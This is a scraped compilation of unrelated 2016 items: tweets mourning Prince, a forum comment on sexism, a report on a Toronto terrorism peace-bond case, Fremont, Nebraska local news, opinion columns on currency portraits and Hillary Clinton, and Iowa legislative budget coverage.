I cant believe the news  such a sad day. We lost one of the biggest icons in music. My dream was to work with Prince. This is devastating  Netsky (@netskymusic) 21 April 2016



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Brooke Spice

I genuinely assumed that prince was immortal so none of this is registering  broke spice (@JENNlFERSBOD) 21 April 2016



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Natasha Bedingfield

#prince I just dont feel like it was his time to go yet We should hav celebrated him more while he was alive .  Natasha Bedingfield (@natashabdnfield) 21 April 2016



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NSK
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My Gawd, what a bunch of jerks. No clue about treating people as though they were a member of the human race.



Please note I am the only woman who bloody well dares to challenge the lot of you.



Danabones....Depends on how you treat another male ......do you treat the male first with respect for having a brain or do you simply assume they do not have one treat them as though they are substandard? Do you think women cannot work a tractor, milk a cow, know how to fell a tree, operate a car without a string accidents, run a company or even do as well or better than the average male in most jobs.



I was brought up by a man who had no boy children. I was treated first as a person even if perhaps not as strong physically until I was out of puberty. I was 5'5-1/2 and weighed 120. When I wanted a corner shelf in my bedroom, I was told how to do it and aside from answering a few questions on how to measure to fit the corner, I was expected to do the job my self. I did. I was 13 years old.



So reading the comments from the males here, I am horrified. My girls and myself, repaired the roof on a two story farm house, because my husband was too busy tending to his main business to spare the time. And before I get all that prejudicial crap, I was a city girl before I married and had three proposals of marriage before the one I actually chose. One of my daughters was a model and the other still works in a health facility. That was many years ago. But this year, one of my daughters climbed a tree that had a huge branch overhanging my small shed here in Florida. I will not tell you how old she is as that might give away mine.



So smarten up the bunch of you and take a second look at yourselves.
A Toronto man arrested in April due to concerns he might engage in terrorism was the registered owner of an AR-15 type assault rifle, according to details disclosed at an Ontario court hearing on Friday.How Kadir Abdul was able to legally own a restricted weapon remains unclear. The RCMP and Toronto police declined to comment on the case. Police have not been able to locate his Windham Weaponry semi-automatic rifle.Five months ago, the 27-year-old was detained in the eastern Turkish city of Adana on suspicion he was trying to enter Syria. He was returned to Toronto and is the subject of a terrorism peace bond that restricts him from communicating with ISIL.In the Ontario Court of Justice on Friday, a prosecutor revealed that after Abdul left Toronto for Istanbul on March 23, police executed a search warrant at the apartment he shared with his family in an attempt to find his assault rifle.Police did not find it but Abduls father, Mohammad Uddin, told investigators that following his sons departure he had broken the restricted weapon into pieces and thrown them down the apartment garbage chute, Crown lawyer Matthew Giovinazzo told the court.Uddin told police he had also destroyed his sons firearm possession and acquisition license, he said. He was charged with two firearms offences on May 19, including failing to report having destroyed a restricted firearm.On Friday, Uddin, 57, pleaded guilty with the assistance of a Bengali interpreter. Mr. Uddin in his mind was trying to do something positive, which wasnt done in the right way, his lawyer Omer Chaudhry told the court.But the Crown said Uddin had disposed of the weapon so that it would not be discovered and he was fortunate police did not consider his conduct obstructive. There are clearly concerns from the federal government with the accuseds son, Giovinazzo said.Asked by a reporter outside the courtroom why he had owned an assault rifle, Kadir did not respond. Hes not going to answer any questions, Chaudhry said. The case was scheduled to return to court on Sept. 23 for sentencing.As Canadians debate how to respond to violent extremism following the Aug. 10 police killing of an ISIL supporter in Strathroy, Ont. as he was allegedly about to commit a suicide bombing, Kadirs case raises more questions.The horrific Orlando nightclub attack by an ISIL supporter on June 12 led to debate in the United States over how the gunman was able to legally purchase assault-style weapons despite having been investigated by the FBI over alleged links to terrorism.In Canada, firearms licensing is administered by the RCMP. Under Canadas firearms regulations, licences can be refused or revoked if the holder is considered a risk to others. Continuous screening is conducted to identify any public safety risks, according to the RCMP website.It could very well have been missed, said Stephanie Carvin, an assistant professor at the Norman Paterson School of International Affairs. The terrorism and security researcher also said that even if police have suspicions, they do not necessarily have the right to deny someone a firearms license.Last year, federal immigration officials deported Muhammad Aqeeq Ansari for being a member of a Pakistani terrorist group. Police had raided a house in Peterborough, Ont., where he had stockpiled a dozen legally-owned firearms and ammunition.Its unclear when Abdul obtained his firearms licences but even his home address should have set off alarms. According to leaked ISIL documents smuggled out of Syria by a defector, a Canadian named Malik Abdul joined the terrorist group in July 2014. The contact number listed on his ISIL registration form matches a landline in Kadir Abduls building listed to M. Uddin. Malik is believed to have since died in Syria.Under what Giovinazzo called peculiar circumstances, Kadir Abdul left Canada in March. He was arrested March 31 in Adana, Turkey, about 200 kilometres from the Syrian border, along with another Canadian, Samuel Aviles, Turkish officials said.The Turkish officials, who asked not to be named, told the National Post their government was unaware of a Canadian police investigation into the pair at the time and that the arrests were conducted following a probe by their own intelligence services.The officials declined to discuss why the two travelers had aroused suspicions in Turkey. The Canadians were detained for two weeks due to concerns they intended to enter Syria and returned to Toronto on April 15, the officials said.The RCMP arrested them upon their arrival at Torontos Pearson airport and sought terrorism peace bonds against them. Abdul agreed to the terms of a peace bond on July 15. He cannot possess a passport or weapons, must stay off the Internet except under supervision, and cannot associate or communicate with ISIL or Jabhat al-Nusrah, the former al-Qaida faction in Syria.Similar conditions had been imposed on Driver but the effectiveness of terrorism peace bonds has come under scrutiny since his death. Despite the restrictions, Driver built a bomb and recorded a martyrdom video about a forthcoming attack on Canadians.The 2016 Public Report on the Terrorist Threat to Canada released last week by Public Safety Minister Ralph Goodale said the countrys principal terrorist threat comes from those inspired by extremist rhetoric to conduct attacks.The report said the government was aware of about 60 returnees who were back in Canada after having taken part in overseas terrorism. It said they could use their skills, experience and relationships to recruit or plan attacks in Canada.
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The First United Methodist Church Spring Salad Luncheon is celebrating its 50th anniversary.

This years theme is Simply Golden.

The annual event will be held April 28 at First United Methodist Church in Fremont.

Margery Richter has richly contributed every year.

From day one, the Fremont woman said.

During the half century, some things have stayed the same.

It was always a buffet, Richter said.

Each year, an array of salads and more are on the menu.

Early on, all the womens groups were involved.

We served a complete meal  from salads to dessert, Richter said.

When people brought food, I checked it in, she said. Corned beef salads, carrot casseroles and any kind of pie you could think of.

In the first years, molded corned beef salads made with lemon Jell-O were popular.

I made chicken livers for a long time  and lots of pecan pies, Richter said. There were sour cream raisin pies, too.

No luncheon was complete without elaborate decorations.

One year, members displayed their wedding gowns and served wedding cake.

Richter even brought a gown she had made for her daughter, Linda Ott of Fremont.

Fittingly, this year they will serve anniversary cake  carrot, angel food and cheesecake.

Decorations were often handcrafted. Richter recalled a few.

We made teddy bears and dressed them, Richter said.

Maypoles with ribbons and umbrellas made out of colored tissue paper, she added. Bread baskets out of dough. We baked them and shellacked them.

Gingham decorations greeted guests in 1974.

Dolls were a popular theme.

In 1985, the women sewed clothes for the popular Cabbage Patch dolls.

Barbara Dean of Fremont is collecting memories to share at the event and has a favorite.

Dolls made with no face  an interesting thing to make, Dean said.

Forty were made from vintage pillowcases.

Lillian Schultz remembers the assembly process.

She and her sister, the late Pearl Schultz, headed up the team.

Pearl did the cutting and I did the work on the sewing machine, Schultz said. We finished them together.

Joan Martin of Fremont commissioned one.

My mother-in-law had made the pillowcase and tatted around the edge, Martin said.

Some years, the circles scoured shops for ideas and once even made little ceramic swans.

Sometimes tabletop decor was available for purchase.

There was more.

We sold cookbooks every year for a while, Richter said.

Richter has some of the cookbooks and handfuls of recipe notecards.

Helen Drumrights mother, the late Jean Conrad, worked on hand-painted covers for the 1971 cookbook that featured birds.

These days, Drumright directs the making of the ham balls, a favorite among attendees.

Organizers Jill Hartman and Pat Crabb of Fremont along with Sherryl Longacre of Omaha invite area residents to attend this 50th anniversary celebration.

There are three seating times  10:45 a.m., 11:30 a.m. and 12:15 p.m.

Tickets, sold in advance, are $10 and may be purchased at First United Methodist Church at Eighth and Broad streets or by calling the church office at (402) 721-0817.
Deryl Skeltons passion for comic book characters started at a young age, but unfortunately, comic books werent considered popular back in the late 1960s and 1970s.

Skelton remembers hiding his comics during study hall, and stealthily attempting to sketch comic characters on the white butcher paper that covered his school textbooks.

But now, the nationally renowned comic book artist has nothing to hide  hes made a successful career out of doing what he loves, what was once considered geeky by his peers.

On Thursday afternoon, the 1971 Fremont High School alumnus spoke to a group of more than 50 students at his alma mater about his quiet beginnings as a student, all the way to working for two of the biggest names in the industry, Marvel and DC Comics.

Skelton said that he is in town on vacation visiting his sister and daughter, noting that he always plans his trips back to his home state in a tactical manner.

I always like to come in the spring and fall, before and after the mosquitos are around, he joked.

Skelton has spent the past 43 years illustrating everything from the famed Dallas comic strip, to dozens of characters in the Marvel and DC comic books, newspaper comics and was even contracted to design the ceiling above presidential candidate Donald Trumps bed.

While working for Marvel, Skelton worked on virtually every character from The Avengers to X-Men, and while at DC Comics became best known for his work with Star Trek: The Next Generation.

Prior to his large-scale work, Skelton drew editorial cartoons for the Fremont Tribune and worked as a fashion illustrator for Schwesers, which closed all of its store locations in 2015.

Living in Las Vegas since 1976, Skelton began freelance work in 1980 to pursue other avenues.

This was out of the need to be creative and to sleep in late, he said.

After years of illustrating comic book characters and designing covers, in 2012, Skelton and his wife, Marcia, hit the road traveling around the country completing commissioned sketches for the thousands of avid comic fans, as well as signing and selling original pieces and old comic book pages.

Skelton spoke about when he returned to Fremont in 1995 for a signing event, and during the event he was signing comics and selling his original pages for $20.

At the time I didnt know any better, and now they are going for like $500 a piece, he said. So I am very happy about that. If any of your parents bought any of my old work tell them they might want to hold on to it, or they can just give it back to me and Ill sell it, he joked.

Some of Skeltons favorite comic book characters to draw include Spiderman and The Incredible Hulk.

I like drawing characters that have raw power and energy, he said.

Toward the end of his speech, Skelton talked about how comic characters have adapted through the years.

When he first started drawing characters, they were just that, characters, but because of the recent Marvel and DC Comics movie craze, theres been a push to make the creations far more lifelike  altering their wardrobe and coloring, which Skelton isnt always a fan of, he said.

If you wanted realistic you shouldnt be watching movies of guys shooting webs out of their hands and jumping over buildings, he said.

While it wasnt directly stated, it appeared that one of Skeltons messages to students was that if they work hard enough, they too can do big things with their lives.

Im the perfect example of a kid from Fremont Nebraska who was able to go off and do these things, he said. And you guys have the ability to do it, too.

To view Skeltons work, people are encouraged to visit www.skeltonartist.com
Late Tuesday afternoon, the Greater Fremont Development Council announced a change in direction and strategy of Costco Wholesale and Lincoln Premium Poultrys plan to construct a state-of-the-art poultry processing facility north of Fremont and approximately two miles west of the Village of Nickerson.

Costcos initial proposal was to locate the large facility on approximately 300 acres of land about seven miles north at the intersection of County Road P and Hwy. 77. The facility would have been composed of three main structures: a hatchery, a feed mill and a processing facility, and would have spanned both sides of Hwy. 77 leading to a significant increase in industrial traffic, greatly distressing the lives of area residents.

In addition to the dangers of increased traffic opponents and other concerned parties, such as Nebraska Communities United, argued that such a facility could bring environmental hazards like ground water contamination, intense odor from the processing plant, risks of bird flu and other health issues.

The use of tax incremental financing to fund the cost of laying and overhauling utilities for the facility also concerned many area residents. They worried that TIF funding would have greatly impeded the ability of surrounding school systems and community subdivisions to cover the costs of increased populations and other stressors without the corresponding increase in tax revenue to cover extra expenses.

At a crowded and contentious board of trustees meeting in Nickerson April 4, the village board voted unanimously to reject a proposal to change a future land use map. Had it been approved, the proposal would have paved the way for an eventual zoning change to industrial usage, allowing Costco to establish the plant at the proposed location.

Cecilia Harry confirmed that the Nickerson vote played a big part in Costcos elimination of the Nickerson area as a potential location.

They (Costco and Lincoln Premium Poultry) have to feel wanted, Harry stated. Its really important to them to locate in a community that wants them there; and the Nickerson village board decision made it clear that (Costco) needed to look at other options. Its very clear that most of the influence came from the decision of the village board of Nickerson.

Harry remains optimistic, however. She said the project continues to remain active, and the company continues to assess eastern Nebraska  and more specifically the Greater Fremont Area  as their favored location to build the facility.

Its disappointing to hear that the Village of Nickerson wont receive the direct benefits of the project but Im excited to hear that other options in the Greater Fremont Area are still being considered, said Executive Director of the Fremont Area Chamber of Commerce Ron Tillery.

Harry emphasized her hopes and enthusiasm that Fremont will still benefit from a poultry operation located in eastern Nebraska. However, she explained the economic benefits to the community and area farmers would be affected by the distance from which the community is removed from the facility.

The farther away such an operation is located, Harry explained, the more Fremont residents and Dodge County farmers will miss out on the bulk of the economic impact, the boost to population and the opportunities for farmers to diversify their operations as poultry growers.

We can still expect to see some benefits but we wont be able to realize the full potential of the project, Harry said.

Harry then alluded to last Sundays large gathering of Costco officials and project supporters, as well as Dodge County and Fremont City government officials, at Scott Wagners Hooper-area family farm. The assembly served to ignite continued fervor and support for the project.

The fact that they (Costco) came to us last weekend  speaks not only of our excitement for (continued consideration) for project location, but also the companys, Harry said.

Fremont Mayor Scott Getzschman, contacted after the initial announcement, had not yet heard the news, but offered his support for a continued assessment of Fremont as a good fit for location.

The goal is that we need to keep the focus on Fremont as the home to the Costco poultry plant, Getzschman said.

He underscored that he felt no discouragement by Costcos decision to eliminate the Nickerson site.

I think it is was the right decision because there was considerable controversy around that particular location, and it would have been difficult to move forward without the support of Nickerson, Getzschman said.

He added, I believe that Costco took the time to listen to its citizens. We know (Costco) wants to be here and will continue to review sites.

Randy Ruppert, spokesman for Nebraska Communities United, after hearing about the companys decision, reiterated the organizations opposition to Costco establishing a poultry operation anywhere in Nebraska.
When contemplating the possibility of replacing some of the historical figures depicted on U.S. currency, Treasury Secretary Jack Lew said last year said, Americas currency makes a statement about who we are and what we stand for as a nation.

On any given day, I open my wallet and, assuming I actually find cash inside, Im greeted by the stoic faces of Abraham Lincoln, George Washington and, if Im lucky, Andrew Jackson _ presidents, generals and leaders.

They are men who despite their flaws are indispensable to the American story.

But to many, they no longer represent Americas story in its fullness. U.S. currency has always shown the faces of privileged Anglo males who, in their defense, were largely responsible for the founding and defense of the United States during its formative years.

The complaint has long been that this practice leaves women and minority Americans, who have also played a profound role in the nations evolution, grossly underrepresented.

Its hard to disagree with that.

But last years decision by the Treasury Department to show the face of a woman, without specifying which one, on the $10 bill and to demote the man who currently resides there was ill-advised.

The almost yearlong campaign by a diverse group of people to retain Alexander Hamilton on the bill is proof of that.

Fortunately, Wednesdays announcement that anti-slavery heroine Harriet Tubman will appear on the bill, and the decision to reverse course on which bill she will occupy (she will replace Andrew Jackson on the $20), is the appropriate remedy.

It is also in keeping with Lews own statement that our currency should reflect the best of who we are as a nation.

While Hamilton was white and male, he had less in common with many of his contemporaries than most of us realize.

He was not the son of a privileged colonial family, the heir to great fortune or military or political dynasty.

To put it bluntly, Hamilton was a fatherless child, raised in poverty by a single mother in what would become the Virgin Islands.

An immigrant, he made his way to the United States as a teenager and, using his vast intellect and characteristic determination, he quickly became an influential writer and patriot in the fledgling revolution.

What could possibly be more American than that?

Eventually, he became a top wartime aide to Gen. Washington and followed him to the White House as a presidential adviser.

We mustnt forget that in addition to his writings that helped establish our federalist system of government, Hamilton was essentially the inventor of American money.

The first secretary of the Treasury, Hamilton established the U.S. Mint and steered the young American nation through tumultuous financial times.

As writer Ben Domenech opined: Alexander Hamilton was a bastard, but he was a righteous bastard. He loved his country.

And he has more than earned his place on its currency.

Like Hamilton, Harriet Tubman was a patriot, a woman who loved America and its people enough to risk her life daily for its unity and success.

Born a slave, Tubman escaped to freedom as a young woman using the Underground Railroad network to reach the North.

But she wasnt satisfied with her own liberty.

Deeply moved by the plight of her fellow man, she quickly became one of the most famous conductors on the Underground Railroad, returning to the South dozens of times to rescue hundreds of others and leading them to safety and freedom.

She was so indispensable to the abolitionist movement that in 1856 her capture carried a $40,000 reward in the South.

During the Civil War, she served the Union army as a cook, a nurse, a scout and a spy.

Tubman was also a devout Christian, a woman whose faith guided her every perilous journey into slave territory.

She was, indeed, a legend in her own time _ called Black Moses by those she saved from bondage.

Tubman will not only be the first woman to appear on U.S. currency, but she will also be the first black American.

If the Treasury Department wants U.S. currency to reflect the best of America, Hamilton and Tubman fit the bill.

Cynthia M. Allen is a columnist for the Fort Worth Star-Telegram. Readers may send her email at cmallen@star-telegram.com.
You know what I really resent? I resent it when someone tells me I should vote for, or support, or give a pass to someone because it will be a historic moment.

Dont get me wrong. Im as much a sucker for a grand and melodramatic gesture as anyone. This past weekend, I took my nephew to see the updated version of The Jungle Book, and I was reduced to sobs when the animals of the jungle all banded together to defend Mowgli. Heck, I still get a lump in my throat during that scene in Spartacus when all the other slaves rise up to protect Kirk Douglas from crucifixion by saying, one after the other, I am Spartacus. (It does lose something, unfortunately, when they get to Tony Curtis, who emotes in perfect Brooklynese, I yam Spottackus.)

All of this is to say that I am not insensitive to inspirational symbolism. Back in 2008, we were told that a vote for Barack Obama was a vote for hope, change and a balancing of the playing field. The idea of electing the first black president was an intoxicating prospect for many, which is exactly why so many voted for the first-term senator from Illinois.

That would be the case with Hillary Clinton, who is this years flavor of historic. As in 2008, we are faced with the possibility of finally putting a woman in the Oval Office. (No jokes about Monica Lewinsky, here, in case you were getting ready to make one.) There is something equally momentous about saying, Madame President, as there was about saying, Mr. First Black President. Just because I happen to be a conservative who shrinks in horror from the limiting label of feminist, I would still be delighted to see a woman head our government. Many other countries, including some actual democracies, have placed females in positions of supreme authority. My favorite was the United Kingdoms Margaret Thatcher, but Israels Golda Meir comes in a very close second, tied with Germanys Angela Merkel for my affections. The list continues with Indira Gandhi, Aung San Suu Kyi, Corazon Aquino and, of course, Benazir Bhutto, who, if youve been paying attention, was the prime minister of a Muslim country. (Yes, they assassinated her, just as the Sikhs killed Gandhi, the Burmese imprisoned Suu Kyi and the Filipinos murdered Aquinos husband. But at least they had some real moments of glory mixed in with the tragedy.)

So yes, it would be wonderful to have a woman take the oath of office in January. Not necessarily this January, but some January at some indefinite date in the future. However, the idea that the gender of a candidate is an overriding factor in deciding whether shes qualified, just as the idea that the race of a candidate should be given more weight than, say, his educational pedigree, strikes me as ignorant. In fact, it stinks.

Gender is a very poor barometer of how someone is going to vote, and it is insulting to believe that women vote in a bloc, just as it is insulting to suggest that all African-Americans support affirmative action or that all Latinos are in favor of immigration reform.

Clinton is fueling her campaign with that combustible gasoline that threatens to burn down (not Bern down) the patriarchy. She dismisses her critics as misogynists, even though shes very skillful about not using that precise word. She simply talks about how important it is to empower women. Except shes not talking to women like me. Clinton would love to disconnect the wires on my control panel to make me and other critics completely inoperative.

Thats why this idea that we need to support her because of her gender is offensive. Why should I vote for someone who looks like me when she represents everything I reject? Grand, dramatic gestures are great when Tony Curtis makes them, but not at the polls.

There may be reasons to vote for Clinton, although I certainly cant figure out what they are. I love and respect some people who have openly pledged their support to her. But gender should be relevant in the calculus.

There are many women who have portfolios as impressive (Elizabeth Warren on one end, Condoleezza Rice on the other) but who dont have her baggage.

And Im not talking Fendi.

Christine M. Flowers is a lawyer and columnist for the Philadelphia Daily News. Readers may send her email at cflowers1961@gmail.com.
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About 1,500 troops from Tajikistan, Belarus, Kazakhstan, Kyrgyzstan, and Russia took part in a four-day military training exercise near Dushanbe. Collective Security Treaty Organization forces drilled against possible threats by Islamic State militants. (RFE/RL's Tajik Service)
DES MOINES  Reality tolled Thursday on a beat-the-clock effort to adjourn the 2016 legislative session, forcing leaders to rely on a 16th week to finalize a $7.35 billion budget and a dwindling list of must-do bills.

Lawmakers in the Iowa House and Iowa Senate worked their way through fiscal 2017 budget issues on their 102nd session day but ended Thursday with too much on their legislative plates to complete this years agenda this week.

I think were ahead of where weve been in recent years, said Senate Majority Leader Mike Gronstal, D-Council Bluffs. I think were in good shape. Were working through problems. We will go back to our homes at the end of the day (Friday) and come back on Monday.

Negotiations on remaining sticking points were expected to take place Friday and Monday with an eye on shutting down the 2016 proceedings some time during the next week, he said.

We dont think theyre going to get done this week, Gov. Terry Branstad told members of the Iowa Partnership for Economic Progress at the panels Thursday meeting. I dont think theyre going to go past the end of April because that means another months rent. Theyre not getting any per diem to pay for that so thats a pretty good incentive to get that done.

Major issues pending before lawmakers included significant budget pieces, expanding water quality initiatives and medical cannabis use, legalizing fireworks and fantasy sports, and beefing up oversight on privately managed Medicaid services.

Branstad said he is really pushing for a Senate debate on a House-passed water-quality bill, saying alternative approaches to raise the state sales tax by a fraction or use surplus funds are non-starters that need not be pursued.

Wed sure like to see us get a start on it this year, the governor said. We think its a critical enough issue that the Senate should not go home without debating. So thats sort of the last big thing were trying to get accomplished before the Legislature adjourns.

But majority Democrats say they are not interested in moving general fund money away from other funding needs by approving a House approach that would generate nearly half a billion dollars over 13 years by shifting money from state infrastructure projects and using revenue Iowans already pay on their water bills.

The House plan pits water quality against every other priority in state government because it produces no new revenue and in fact steals existing revenue from education, health care and other priorities, Gronstal said. We dont think thats much of a solution.

Also Thursday, the Senate Democrats budget committee put its stamp on two budget proposals crafted first in the Republican-controlled House.

The Senate passed its health care budget bill, adding its own language for Medicaid oversight and removing language that stripped funding from providers that perform abortions, like Planned Parenthood.

Sen. Amanda Ragan, D-Mason City, said most of the language in the Senates health care bill has been agreed to by House Republicans. Differences, like the Medicaid oversight and Planned Parenthood funding, are to be resolved in cross-chamber negotiations between leaders.

The Senates oversight plan for the states transition to privately managed Medicaid goes farther than the House plan, which mostly calls for data and outcome reporting. The Senate oversight plan adds oversight duties to the Legislative Health Policy Oversight Committee, and adds three positions to the Long-Term Care Ombudsmans office, among other provisions.

For the most part we do have agreement on a lot of things in the (health care) budget, Ragan said. Our intention is to protect and provide seniors, vulnerable Iowans and children (receiving Medicaid services).  What we did was felt that with this huge change to the governors privatization that we still need robust oversight.

Ragan said the Senate health care budget also includes a provision to require businesses to cover autism-related services, and $300,000 to create a program to acclimate refugees in the state to their communities.

Senate Democrats also advanced their version of the catch-all budget bill known as the standings appropriations.

The Senate standings bill spends the exact same $3.1 billion, but spends $2 million of it in different ways.

The Senate standings bill strips $2 million proposed by House Republicans for water quality projects. Sen. Bob Dvorsky, D-Coralville, reiterated Senate Democrats will not fund water quality projects from pools of state dollars dedicated to other needs.

The Senate bill restores $1.25 million of a $5 million reduction in funding to Area Education Agencies.

It also includes policy items, like the establishment of a task force to report on potential equal pay violations and a requirement that a person register with the state public health department in order to perform natural hair-braiding.
DES MOINES  Plans have solidified for a series of forums and debates, including at least one broadcast on live television, featuring the four Democratic candidates running for Iowas U.S. Senate seat.

Former state ag secretary and lieutenant governor Patty Judge, current state legislator Rob Hogg, and former state legislators Tom Fiegen and Bob Krause are running to earn the Democratic nomination to challenge longtime incumbent Chuck Grassley this fall.

At least one televised debate and four forums have been scheduled ahead of the June 7 primary election, the Des Moines Bureau has confirmed.

Iowa Public Television will host a debate to be televised live on Thursday, May 26, from the networks studio in Johnston. The station expects all four candidates to participate.

Multiple candidates campaigns said another debate hosted jointly by Des Moines TV station KCCI and The Des Moines Register is being planned for Wednesday, June 1, just six days before the primary. The Des Moines Bureau was unable to confirm that immediately with officials from KCCI or The Register.

Four candidate forums have been scheduled:

Tuesday, May 3, at the Madison County Historical Museum in Winterset, hosted by the Madison County Democrats. All four candidates are expected to attend.

Wednesday, May 4, at the Northwest Community Center in Des Moines, hosted by the Beaverdale and East Des Moines Democrats, according to the Beaverdale Democrats. All four candidates are expected to attend.

Thursday, May 12, at the Drake Community Library in Grinnell, hosted by the Poweshiek County Democrats. Hogg, Fiegen and Krause are expected to attend. Judge cannot attend because of a scheduling conflict, her campaign said.

Sunday, May 15, at First Christian Church in Des Moines, hosted by the political action committee STAR-PAC. All four candidates are expected to attend the forum, which will focus on foreign policy, military and migrant issues.
DES MOINES  The Iowa House Appropriations Committee approved $89.6 million infrastructure spending plan Thursday that is $19 million less than what the Senate approved a day earlier.

A major difference in the plans is that House majority Republicans rejected bonding to finance improvements at the Wallace State Office Building, the State Historical Building and the Iowa Law Enforcement Academy. The Senate plan called for borrowing $110 million to upgrade the three state buildings.

Floor manager Rep. Dan Huseman, R-Aurelia, said the GOP is committed to operating on a pay-as-you-go basis.

My position is that weve been able to do things on a pay-as-you-go basis and I dont think we need to change that, he said.

Also Thursday, the House approved SF 2323, a $1 billion higher education budget, after amending it to increase the private college tuition assistance.

Senate Transportation, Infrastructure and Capitals Appropriations Chairman Matt McCoy, D-Des Moines, included bonding in the Senate plan, approved 27-23 April 20, because pay-as-you-go isnt always possible.

Unfortunately, were in a situation now where we dont have the money to do pay as you go, McCoy said. If we dont bond, theres no money. They just continue to deteriorate.

However, Huseman said repaying bonds for Vision Iowa and former Democratic Gov. Chet Culvers I-JOBS program cost about $70 million a year.

Thats $70 million I dont have to spend in this budget, he said, adding he doesnt see what the state got out of the I-JOBS program.

I-JOBS was a state bonding program that funded 1,700 projects in all 99 counties, including repairs and replacement of many public buildings, roads and bridges damaged by flooding in 2008.

Gov. Terry Branstad has indicated he would not support bonding, but did recommend $65 million over five years from RIIF to renovate the historical building.

In floor action, the House voted 52-41, to approve an education appropriations bill that will provide a $6.3 million increase to regent universities and a $3 million boost to Iowas 15 community colleges, but the increase is unlikely to prevent tuition increases and cutbacks at Iowas public universities and community colleges next school year. The Board of Regents asked for a $20 million increase. The overall budget increase would provide an extra $1.3 million for the University of Iowa, $2.2 million for Iowa State University and $2.78 million for the University of Northern Iowa, he noted.

The House voted 94-0 to amend the bill to increase funding for the private college tuition grant program $250,000 from $48,689,681 to $48,939,681. Thousands of Iowa students benefit from the assistance that helps them attend Iowa private colleges, Rep. Ron Jorgensen, R-Sioux City, said.

The higher education budget is the third largest piece of the $7.35 billion general fund budget.
DES MOINES  The Iowa Senate approved a $1.836 billion health & human services budget plan Friday that would beef up state oversight of privately delivered Medicaid services while rejecting an attempt to bar taxpayer money from going to womens health-care providers in Iowa that perform abortions.

Senators voted 27-23 to approve their version of a major piece of next years $7.35 billion spending plan that funds services for the states vulnerable populations, aging Iowans, veterans and public health agencies. The measure, which featured an emotion-charged abortion debate, likely will go to a House-Senate conference committee next week for further negotiations.

Sen. Amanda Ragan, D-Mason City, the bills floor manager, said her budget subcommittee did our best to protect children, seniors, people with disabilities, and every Iowans access to essential services given a fiscal reality that provides about $4 million more spending for fiscal 2017. Those essential services are necessary services that keep people alive and relatively healthy.

During Fridays debate, Sen. Ken Rozenboom, R-Oskaloosa, offered an amendment to earmark about $3 million in state money to fund 213 federally qualified womens health care clinics that do not include abortion procedures as part of their service options. The language, while failed on a 25-25 vote, would have excluded 13 Planned Parenthood from receiving public money paid by taxpayers who conscientiously oppose abortion.

Im going to ask you to listen to your heart, said Rozenboom. I want you to listen to those folks who may differ with you on the question of abortion, but who certainly would like you to respect their desire not to use their tax dollars for the practice.

However, Ragan countered that zero state money has gone to pay for abortion in recent years, and she expressed concern that currently family planning saves taxpayers money and adapting this amendment could actually cause more unintended pregnancies. Sen. Joe Seng, D-Davenport, joined 24 GOP senators in supporting the amendment while 25 Senate Democrats opposed it.

Senators also approved an aggressive plan for overseeing the states transition to privately managed Medicaid that would go farther than the House approach mostly focused on data and outcome reporting. The Senate oversight plan would add oversight duties to the Legislative Health Policy Oversight Committee along with adding three positions to the Long-Term Care Ombudsmans office, among other provisions.

We want strong oversight, said Sen. David Johnson, R-Ocheyedan, who lamented that Gov. Terry Branstads plan to contract with three private managed care organizations (MCOs) effective April 1 was dumped on us when it should have been phased in starting with the healthiest of the 580,000 Medicaid clients and gradually moving to Iowans dealing with severe disabilities.

H.F. 2460 was returned to the House by a 27-23 margin, but Senate GOP Leader Bill Dix of Shell Rock informed the Senate secretary after the voting machine closed that he inadvertently had pushed the wrong button and requested the Senate Journal reflect his affirmative vote was a mistake and he intended to vote no.

Also Friday, senators voted 26-24 to approve a justice-systems budget bill that proposes to spend $748.3 million in the fiscal year beginning July 1  a $5.2 million increase that was spread between the state Department of Corrections with $3.4 million and the state Department of Public Safety with $1.8 million.

Senators also voted 26-24 to approve a standing appropriations bill equal to a $3.1 billion measure approved by the House, but stripped $2 million that House Republicans directed to their water-quality approach and used it for other purposes  including restoring $1.25 million of a $5 million reduction in funding to Area Education Agencies.

During the debate on the standings budget bill, GOP senators offered amendments that attempted to clarify Iowas eminent domain law, to impose a revenue-neutral phased-in sales tax increase offset by an state income tax reduction to fund water quality initiatives, and to ban traffic-enforcement cameras on Iowa roadways  all which were ruled procedurally irrelevant to the measure.

Senators and representatives plan to return to the Iowa Capitol building next week to finish their budget work and adjourn the overtime 2016 session in its 16th week.
JOHNSTON  Addressing Iowas water quality problems will take millions of new dollars, but one of the key players in implementing the solution is advocating against a tax hike to fund them.

Iowa ag secretary Bill Northey believes lawmakers can fund funding in the state budget to at least begin to implement strategies the public is demanding.

I really think in a budget of $7.3 billion when were talking about $30 million a year, I prefer the idea of being able to take it out of existing funding without new taxes, Northey, a Spirit Lake farmer in his third term, said on Iowa Public Televisions Iowa Press Friday.

Northey doesnt support those who want to raise taxes to underwrite a large-scale water quality program. That includes adding three-eighths of a cent to the state sales tax to fund the constitutionally protected Iowa Water and Land Legacy Trust Fund voters created.

Instead, he thinks a plan in the GOP-controlled Iowa House that pools existing funds to begin a long-term clean-up of Iowas waters is the best approach and has the best chance of winning legislative support.

That is a bipartisan plan, it doesnt raise taxes, it doesnt compete with education, he said. Its still a significant increase in dollars.

The Democratic majority Senate has discussed a number of plans, but they havent been able to get anything out, Northey said. So Im nervous about whether we see something coming out of the Legislature or not.

If nothing, Northey said his department and others would continue programs with existing funding.

If lawmakers cant agree on a plan before adjourning  probably next week, Northey hopes there are some conversations before the 2017 legislative session that will lead to a long-term funding plan.

So I think its a lost opportunity, but I still see the momentum, he said.

Northey, 56, continued to be vague about his political future. He confirmed hes thinking about seeking the GOP nomination for governor in 2018.

We are very strongly considering that, he said, said he wont make a decision until next year. But were talking with folks and trying to understand what pros and cons and who else, we dont know who else would be running. So it depends on lots of things to make that decision.
The National Drought Monitor reports that all of Iowa remains drought free and the average stream flows for the state have returned to near normal levels. Iowa averaged 3.97 inches of precipitation during the first quarter of 2016, which officials say was slightly drier than the 30-year normal but was significantly wetter than in 2014 or 2015.

Precipitation amounts generally were above normal across the northern one-third of the state and well below normal over east central, southeast, and southwest Iowa. January was the driest of the three months over most of Iowa, while March accounted for 61 percent of the first quarter precipitation.

The water summary report is prepared by officials in the Iowa Department of Natural Resources, the Iowa Department of Agriculture and Land Stewardship and the U.S. Geological Survey in collaboration with The Iowa Homeland Security and Emergency Management Department and the National Weather Service.

Art Grants Available

Artists, organizations, schools, communities, government entities, tribal councils and others have until May 2 to submit applications for arts and culture grant funding programs.

Officials with the Iowa Arts Council say the grant information and guidelines are available online at www.iowaculture.gov and applications must be submitted at www.iowaartscouncil.slideroom.com by next months deadline.

